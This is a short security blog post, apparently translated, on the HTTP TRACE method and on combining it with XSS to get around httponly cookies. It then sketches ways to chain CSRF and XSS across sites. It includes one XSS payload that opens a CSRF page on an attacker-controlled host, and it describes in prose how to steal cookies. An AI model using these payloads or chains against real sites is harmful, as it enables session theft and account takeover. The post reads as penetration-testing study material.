1. Definition
A request may go through various proxies, gateways and other programs from the client to the server, and each intermediate node may modify the original HTTP request. To this end, through TRACE, the server will feedback a TRACE response after receiving the request, and carry the original request message it received in the response body. After the client gets the TRACE response, it can perform testing and diagnosis.
The HTTP/1.1 (RFC2616) specification defines the HTTP TRACE method, which is mainly used by clients to perform testing or obtain diagnostic information by submitting a TRACE request to the Web server. When the web server enables TRACE, the submitted request header will be returned completely in the content (Body) of the server response, where the HTTP header is likely to include Session Token, Cookies or other authentication information.
like:
2. Utilization
Generally, attacks are carried out in conjunction with other vulnerabilities.
For example, http trace requests can be initiated with js or other client scripts (XMLHttpRequest), and can be attacked with xss vulnerabilities or other vulnerabilities (bypassing httponly?)
Here is a simple example
First, capture the packet modification method and insert malicious statements into the request header.
Then grab the return package, modify the content-type, and change the return format to html format
Pop-up window after placing the package
Reference link: xss vulnerability caused by trace method-CSDN blog
https://www.cnblogs.com/xiaodangshan/p/7715313.html
3. Supplementary notes
As I write this, I suddenly think of the combination of CSRF and XSS.
I think there are mainly the following situations:
The first principle is definitely to get as much permission as you can
(1) XSS-derived CSRF
One situation is that the cookie is set with the httponly attribute. XSS cannot steal the complete cookie, which means that it cannot obtain permission. However, other malicious scripts can still be inserted into XSS. A simple one is the CSRF POC, such as
<script src="x" onerror=javascript:window.open("http://192.168.1.4/csrf.html")></script>
This can reduce the difficulty of CSRF attacks. Ordinary CSRF data is in the post, and there is still phishing...
(2) CSRF derived XSS
If XSS at a certain point is only visible to you, such as relatively private personal information settings, administrators and other users cannot access it, which means that others cannot trigger malicious scripts.
If this point also has a CSRF vulnerability, then you know, CSRF phishing, further inserting malicious statements into other people's XSS points, so that cookies can be stolen.
(3)Chain
If there is an XSS that can be accessed by anyone at site A, but it is supported by httponly, or the site does not have permission, then site B has an XSS and CSRF point that only it can access.
Well, you know, site A inserts a malicious statement like (1), but the attack object in the malicious statement is site B. Then the CSRF Poc inserts XSS statements to other people in site B, so that a chain attack can be achieved.
When will I write down the actual combat methods of the above combined boxing methods...